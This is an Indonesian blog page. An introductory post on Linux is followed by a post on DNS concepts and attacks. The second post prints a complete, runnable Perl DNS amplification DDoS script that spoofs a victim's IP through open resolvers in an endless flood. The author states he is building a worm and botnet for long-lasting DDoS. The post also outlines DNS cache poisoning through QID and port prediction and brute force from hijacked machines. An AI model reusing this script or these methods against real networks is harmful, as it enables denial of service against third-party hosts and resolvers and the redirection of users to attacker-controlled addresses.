Tampilkan postingan dengan label Komputer. Tampilkan semua postingan
Tampilkan postingan dengan label Komputer. Tampilkan semua postingan

Minggu, 08 Mei 2011

Linux, bukan sekedar Operating System

       Secara teknis dan singkat dapat dikatakan, Linux adalah suatu sistem operasi yang bersifat multi user dan multitasking, yang dapat berjalan di berbagai platform, termasuk prosesor INTEL 386 dan yang lebih tinggi. Sistem operasi ini mengimplementasikan standard POSIX. Linux dapat berinteroperasi secara baik dengan sistem operasi yang lain, termasuk Apple, Microsoft dan Novell. Nama Linux sendiri diturunkan dari pencipta awalnya, LINUS TORVALDS, yang sebetulnya mengacu pada kernel dari suatu sistem operasi, suatu penamaan yang biasa digunakan untuk mengacu ke pada suatu kumpulan lengkap software, yang bersama-sama dengan kernel menyusun suatu sistem operasi yang lengkap.


Perbedaan mendasar Linux


       Satu hal yang membedakan Linux terhadap sistem operasi lainnya adalah, harga. Linux ini GRATIS. Berarti dapat diperbanyak, dan didistribusikan kembali tanpa harus membayar fee atau royalti kepada seseorang. Tetapi banyak isue lainya dengan bersifat free, selain dari pertimbangan harga. Source code Linux tersedia bagi setiap orang. Perkembangan Linux menunjukkan pentingnya perananan kebebasan ini. Hal ini telah menghasilkan suatu tingkat keterlibatan yang menakjugkan dari ribuan atau bahkan ratusan ribu orang di seluruh dunia. Kebebasan ini telah memungkinkan para vendor perangkat keras membuat driver untuk divais tertentu tanpa harus mendapatkan lisensi source code yang mahal, atau menandatangani non descructive agreement. Dan itu juga telah menyediakan kemungkinan bagi mahasiswa ilmu komputer di seluruh dunia untuk melihat ke dalam suatu sistem operasi yang nyata dan berkualitas komersial. Karena Linux itu tersedia secara bebas di Internet, berbagai vendor telah membuat suatu paket distribusi, yang dapat dianggap sebagai berbagai versi kemasan Linux. paket ini termasuk lingkungan Linux lengkap, perangkat lunak untuk instalasi, dan mungkin termasuk perangkat lunak khusus, dan dukungan khusus.


Perbandingan Linux terhadap sistem operasi lainnya

       Linux disusun berdasarkan standard sistem operasi POSIX, yang sebenarnya diturunkan berdasarkan fungsi kerja UNIX. UNIX kompatibel dengan Linux pada level system call, ini berarti sebagian besar program yang ditulis untuk UNIX atau Linux dapat direkompilasi dan dijalankan pada sistem lain dengan perubahan yang minimal. Secara umum dapat dikatakan Linux berjalan lebih cepat dibanding Unix lain pada hardware yang sama. Dan lagi UNIX memiliki kelemahan, yaitu tidak bersifat free. MS-DOS memiliki kemiripan dengan Linux, yaitu file sistem yang bersifat hirarkis. Tetapi MS-DOS hanya dapat dijalankan pada prosesor x86, dan tidak mendukung multi-user dan multi-tasking, serta tak bersifat free. Juga MS-DOS tidak memiliki dukungan yang baik agar dapat berinteroperasi dengan sistem operasi lainnya, termasuk tidak tersedianya perangkat lunak network, program pengembang, dan program utilitas yang ada dalam Linux. Microsoft Windows menawarkan beberapa kemampuan grafis yang ada pada Linux termasuk kemampuan networking, tetapi tetap memiliki kekurangan yang telah ada pada MS-DOS. Windows NT yang juga tersedia untuk Digital Alpha dan juga prosesor x86 juga memiliki beberapa kekurangan yang telah ada pada MS-DOS. Waktu untuk menemukan suatu bug dalam suatu sistem operasi ini tak sebanding dengan harga yang harus dibayar.
        Sistem operasi Apple untuk Macintosh hanya dapat berjalan di sistem Mac. Juga memiliki kekurangan dari sisi ketersediaan perangkangkat bantu pengembang (development tool), dan juga kurang dapat secara mudah untuk berinteroperasi dengan sistem operasi lainnya. Apple juga telah memungkinkan Linux dapat dijalankan pada PowerMac.


Asal Linux

       Linux pada awalnya dibuat oleh seorang mahasiswa Finlandia yang bernama Linus Torvalds. Dulunya Linux merupakan proyek hobi yang diinspirasikan dari Minix, yaitu sistem UNIX kecil yang dikembangkan oleh Andrew Tanenbaum. Linux versi 0.01 dikerjakan sekitar bulan Agustus 1991. Kemudian pada tanggal 5 Oktober 1991, Linus mengumumkan versi resmi Linux, yaitu versi 0.02 yang hanya dapat menjalankan shell bash (GNU Bourne Again Shell) dan gcc (GNU C Compiler). Saat ini Linux adalah sistem UNIX yang sangat lengkap, bisa digunakan untuk jaringan, pengembangan software dan bahkan untuk pekerjaan sehari-hari. Linux sekarang merupakan alternatif sistem operasi yang jauh lebih murah jika dibandingkan dengan sistem operasi komersial (misalnya Windows 9.x/NT/2000/ME). Linux mempunyai perkembangan yang sangat cepat. Hal ini dapat dimungkinkan karena Linux dikembangkan oleh beragam kelompok orang. Keragaman ini termasuk tingkat pengetahuan, pengalaman serta geografis. Agar kelompok ini dapat berkomunikasi dengan cepat dan efisien, internet menjadi pilihan yang sangat tepat. Karena kernel Linux dikembangkan dengan usaha yang independent, banyak aplikasi yang tersedia, sebagai contoh, C Compiler menggunakan gcc dari Free Software Foundation GNU’s Project. Compiler ini banyak digunakan pada lingkungan Hewlett-Packard dan Sun. Sekarang ini, banyak aplikasi Linux yang dapat digunakan untuk keperluan kantor seperti untuk spreadsheet, word processor, database dan program editor grafis yang memiliki fungsi dan tampilan seperti Microsoft Office, yaitu Star Office. Selain itu, juga sudah tersedia versi Corel untuk Linux dan aplikasi seperti Matlab yang pada Linux dikenal sebagai Scilab. Linux bisa didapatkan dalam berbagai distribusi (sering disebut Distro). Distro adalah bundel dari kernel Linux, beserta sistem dasar linux, program instalasi, tools basic, dan program-program lain yang bermanfaat sesuai dengan tujuan pembuatan distro.

Baca Selanjutnya »»

DNS Amplification DDOS Attack

DNS Amplification Attack DDOS

Sebelum kita mulai, apakah DDoS itu?
      DDoS adalah jenis serangan terhadap sebuah komputer atau server di dalam jaringan internet dengan cara menghabiskan sumber (resource) yang dimiliki oleh komputer tersebut sampai komputer tersebut tidak dapat menjalankan fungsinya dengan benar sehingga secara tidak langsung mencegah pengguna lain untuk memperoleh akses layanan dari komputer yang diserang tersebut.


      Serangan DDOS ( Denial Distribute of services ) Attack, mungkin adalah serangan yang paling simple di lakukan namun efeknya sangat berbahaya.
Situs-situs besar seperti yahoo.com , ebay.com , hotmail.com, e-gold.com , 2checkout.com dan lain-lain pernah mengalami serangan yang mengakibatkan situs nya tidak bisa di akses selama  beberapa jam.


Sebelum kita mulai mari kita pahami beberapa term yang berhubungan untuk melakukan DDoS  :

- Query ID (QID)
juga biasa disebut TXID (Transaction ID), merupakan nomor identifikasi transaksi khusus saat nameserver melakukan proses terhadap suatu query. qid ini pasti selalu ada di setiap query !!

- cname
juga dikenal sbg alias suatu domain
misal:
hostname -v www.yahoo.co.id

cname:
;; ANSWER SECTION:
www.yahoo.co.id. 7199 IN CNAME rc.yahoo.com.
rc.yahoo.com. 300 IN CNAME rc.g01.yahoodns.net.
rc.g01.yahoodns.net. 300 IN CNAME sg-rc.g01.yahoodns.net.

- A
record ip address
misal berikut ini adl contoh A record :
jasakom.com. 8347 IN A 64.57.208.81

ip address: 64.57.208.81

- MX
record mail berguna menangani email dari domain

# dig jasakom.com MX

; <<>> DiG 9.5.0-P2.1 <<>> jasakom.com MX
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 62687
;; flags: qr rd ra; QUERY: 1, ANSWER: 7, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;jasakom.com. IN MX

;; ANSWER SECTION:
jasakom.com. 14400 IN MX 5 alt1.aspmx.l.google.com.
jasakom.com. 14400 IN MX 10 aspmx3.googlemail.com.
jasakom.com. 14400 IN MX 10 aspmx2.googlemail.com.
jasakom.com. 14400 IN MX 10 aspmx5.googlemail.com.
jasakom.com. 14400 IN MX 5 alt2.aspmx.l.google.com.
jasakom.com. 14400 IN MX 10 aspmx4.googlemail.com.
jasakom.com. 14400 IN MX 0 aspmx.l.google.com.

;; Query time: 250 msec
;; SERVER: 202.73.99.2#53(202.73.99.2)
;; WHEN: Fri Apr 15 02:20:31 2011
;; MSG SIZE rcvd: 205


- SOA
record yg berisi data zone (email admin, alamat,dll)
misal ketika sy ketik: host -v devilzc0de.org , SOA nya:
;; AUTHORITY SECTION:
devilzc0de.org. 9542 IN SOA satu.maxoz.com. petimati85.yahoo.com. 2011031702 7200 7200 172800 7200


- NS
record nameserver dari domain
untuk melihat record nameserver domain bisa menggunakan dig:




- Rekursif
merupakan metode untuk memproses dns request dari klien, di sini si nameserver akan mencari authoritative nameserver.

- zone
suatu zona dari domain berisi dns record untuk suatu domain (ex zone : devilzc0de.org , www.devilzc0de.org , chaer.devilzc0de.org)

-authoritative dan non authoritative nameserver
daemon suatu nameserver bertujuan memberikan dns reply yg berisi alamat ip dari domain, jika dijawab langsung -> authoritative nameserver , jika tidak : non authoritative nameserver.

-resolver
di sisi klien bertujuan meresolve ip dari suatu domain
misal di mesin ini:




saat terjadi query suatu domain misal devilzc0de.org maka resolver kita akan mengontak nameserver terdekat yaitu: 202.73.99.2 untuk menanyakan ip devilzc0de.org selanjutnya nameserver akan memeriksa cachenya jika ditemukan maka akan langsung dijawab, jika tidak maka nameserver akan mencari authoritative nameserver yang menangani devilzc0de.org.

- recursive nameserver
tujuanya mencari data tentang zona suatu domain dari internet.

-TTL
time to live ? berapa lama record dns akan disimpan di cache ???

- Glue Record
merupakan additional section



- Root Name Server
ada 13 root name server di dunia (belum termasuk mirrornya), bertujuan membalas request berupa autho.yg terlihat dari mesin ini:

a.root-servers.net. 393816 IN A 198.41.0.4
a.root-servers.net. 393816 IN AAAA 2001:503:ba3e::2:30
b.root-servers.net. 393816 IN A 192.228.79.201
c.root-servers.net. 393816 IN A 192.33.4.12
d.root-servers.net. 393816 IN A 128.8.10.90
e.root-servers.net. 393816 IN A 192.203.230.10
f.root-servers.net. 393816 IN A 192.5.5.241
f.root-servers.net. 393816 IN AAAA 2001:500:2f::f
g.root-servers.net. 393816 IN A 192.112.36.4
h.root-servers.net. 393816 IN A 128.63.2.53
h.root-servers.net. 393816 IN AAAA 2001:500:1::803f:235
i.root-servers.net. 393816 IN A 192.36.148.17
i.root-servers.net. 393816 IN AAAA 2001:7fe::53
j.root-servers.net. 393816 IN A 192.58.128.30



* Cara Kerja DNS REKURSIF

- no cache at isp (recursive)
1. misal jika saya melakukan dns query untuk mendapatkan A Record dari domain devilzc0de.org berupa alamat ip
2. mesin ini mengontak ISP untuk mendapatkan alamat ip, di sisi ISP tidak ditemukan cache, isp (rekursif) meminta informasi nameserver dns query ke root name server,
ada 13 root name server di dunia ini (ipnya jarang diganti, pernah menjadi target ddos cracker, liat info: http://en.wikipedia.org/wiki/Distrib...ot_nameservers ):
a.root-servers.net. 397017 IN A 198.41.0.4
b.root-servers.net. 397017 IN A 192.228.79.201
c.root-servers.net. 397017 IN A 192.33.4.12
d.root-servers.net. 397017 IN A 128.8.10.90
e.root-servers.net. 397017 IN A 192.203.230.10
f.root-servers.net. 397017 IN A 192.5.5.241
f.root-servers.net. 397017 IN AAAA 2001:500:2f::f
g.root-servers.net. 397017 IN A 192.112.36.4
h.root-servers.net. 397017 IN A 128.63.2.53
h.root-servers.net. 397017 IN AAAA 2001:500:1::803f:235
i.root-servers.net. 397017 IN A 192.36.148.17
i.root-servers.net. 397017 IN AAAA 2001:7fe::53
j.root-servers.net. 397017 IN A 192.58.128.30

3. selanjutnya rootname server memberikan informasi GTLD -GTLD (Global Top Level Domain) yang menangani .org misal : A.GTLD-SERVERS.ORG, B.GTLD-SERVERS.ORG, C.GTLD-SERVERS.ORG yang selanjutnya akan dipilih secara random

4. selanjutnya GTLD akan terus diacak hingga akhirnya didapatkan informasi authoritative nameserver untuk devilzc0de.org

;; ANSWER SECTION:
devilzc0de.org. 10964 IN A 119.235.27.196

selanjutnya reply akan dikirim ke nameserver ISP


5. nameserver ISP menyimpan informasi tadi ke cache ISP dan selanjutnya memberikan informasi alamat ip devilzc0de.org ke mesin ini.

6. selanjutnya mesin ini mengontak alamat ip devilzc0de.org




- isp's cached ???
1. misal jika saya melakukan dns query untuk mendapatkan A Record dari domain devilzc0de.org berupa alamat ip
2. mesin ini mengontak ISP untuk mendapatkan alamat ip, jika alamat ada di cache ISP maka dns reply langsung dikirim berisi A Record ip devilzc0de.org : 119.235.27.196
root@bt:~/djbdns-1.05# host devilzc0de.org
devilzc0de.org has address 119.235.27.196
root@bt:~/djbdns-1.05#
3. mesin ini mengontak alamat ip 119.235.27.196




* DNS Amplification Attack

Teknik ini dilakukan dengan melakukan spoofing src ip pada query suatu DNS ke recursive nameserver dengan tujuan nameserver mengirimkan dns reply ke ip target yg dispoof oleh zombie (diperlukan raw ip dan privilege root), dg skenario dns amplification ini akan membanjiri ip target dengan dns 2 reply, bertujuan membuat berat kinerja router.


berikut ini adalah sample kode perl yang mengimplementasikan dns amplification attack , sumber kode : http://packetstorm.unixteacher.org/0...poofer2.pl.txt silahkan dipelajari dan dimengerti (kodenya pendek jd sy yakin mudah dipahami).

#!/usr/bin/perl
# Get Net::RawIP at http://search.cpan.org/CPAN/authors/...0.21_01.tar.gz
# cpan Net::DNS:Resolver seems to work fine on each machine I throw it on, as well.
# PS: To see if you can spoof, check out the ANA Spoofer project.
# http://spoofer.csail.mit.edu/
#
# Written by Shadow
# irc.dark-irc.net #thecorpz
# chemshadow@gmail.com

use Net::DNS::Resolver;
use Net::RawIP;
use strict;

# Populate this list with domain names with lots of A records. IRC server DNS pools are a good place to look.
# Maybe get a cheap throwaway domain and add your own A records.
my @name = ("irc.efnet.net", "irc.dal.net", "irc.undernet.org", "irc.freenode.net");
my $names = "3"; #number of entries in @name, minus one.

# Populate this list with ONLY open, recursive dns servers.
# http://www.dnsstuff.com/ - Block their cookies to use the site w/o paying.
my $nameservers;
my @nameservers = ("205.234.223.168", "64.202.117.121", "208.80.184.69", "200.255.59.150") #4 entries.

my $reflectors = "3"; # Number of entries in @nameservers, minus one.
my $debug = 1; # Change to 0 if you don't wanna have your console flooded.

##########################
# END USER CONFIGURATION #
##########################

my $str;
my $name;
my $src_ip;
my $reflector;
$src_ip = $ARGV[0];

if ($ARGV[0] eq '') { print "Usage: " . $0 . " <IP>\n"; exit(0); }
print ("Hitting $ARGV[0]\n");

for (my $i=0; $i < 256; $i++) {
# Make DNS packet
my $dnspacket = new Net::DNS::Packet($str, "A", "IN");
my $dnsdata = $dnspacket->data;
my $sock = new Net::RawIP({udp=>{}});
# send packet
$str = @name[int rand($names)]; # Select entry from @name
$reflector = $nameservers[int rand($reflectors)]; # Select entry from @nameservers
$sock->set({ip => {
saddr => $src_ip, daddr => "$reflector", frag_off=>0,tos=>0,id=>1565},
udp => {source => 53,
dest => 53, data=>$dnsdata
} });
$sock->send;
if ($debug eq "1") { print "Me -> " . $reflector . "(DNSing " . $str . ")" . " -> " . $src_ip . " \n"; }
$i = 0;
}
exit(0);



untuk menjalankan skrip di atas diperlukan priv root,

kurang lebih seperti ini gambaran skenario untuk dns amplification attack:


Khusus untuk dns amplification attack sedang sy kembangkan suatu kombinasi botnet dan worm dan ini sudah sy lakukan selama 2 tahunan. dengan mengkombinasikan worm dan botnet bertujuan menciptakan efek ddos jangka panjang.


apakah bahaya lainya dari recursive nameserver ????????


* DNS Cache Poisoning
dns cache poisoning ini adalah salah satu metode penyerangan dns yang terdokumentasi. kali ini kita akan membahas beberapa metode (lama dan baru).
DNS Cache Poisoning bertujuan merubah / menambah cache resolver dg tujuan DNS Query ke resolver mengembalikan ip dari domain attacker bukan ip domain asli yang seharusnya dituju.

DNS cache poisoning ini bisa diterapkan bukan hanya untuk nameserver dari domain target tapi juga bisa diterapkan pada nameserver ISP 2.

untuk melakukan dns cache poisoning kita perlu mengetahui informasi2 ini:
- prediksi QID (transaction id yg sy sebutkan di atas tadi)
- prediksi source port
- kita harus bisa memberikan dns reply lebih cepat dari yg aslinya.

jadi inti dari dns cache poisoning adl jika kita bisa meracuni cache dari suatu nameserver dengan mengirimkan dns reply dengan qid , source port yang tepat sehingga data yg intinya berisi A RECORD ip kita sbg attacker akan disimpan di cache nameserver.


setelah adanya BIND 9 PRNG eksploitasi menjadi bertambah sulit untuk menebak QID krn qid menggunakan angka acak yg digenerate berdasarkan /dev/random.

informasi QID didapatkan dari brute force. sayangnya akan sangat sulit melakukan brute force dengan koneksi internet kita, brute force menjadi lebih efektif jika kita bisa mentake over mesin dengan bandwith tinggi dg routing dengan hop pendek ke nameserver korban.

Baca Selanjutnya »»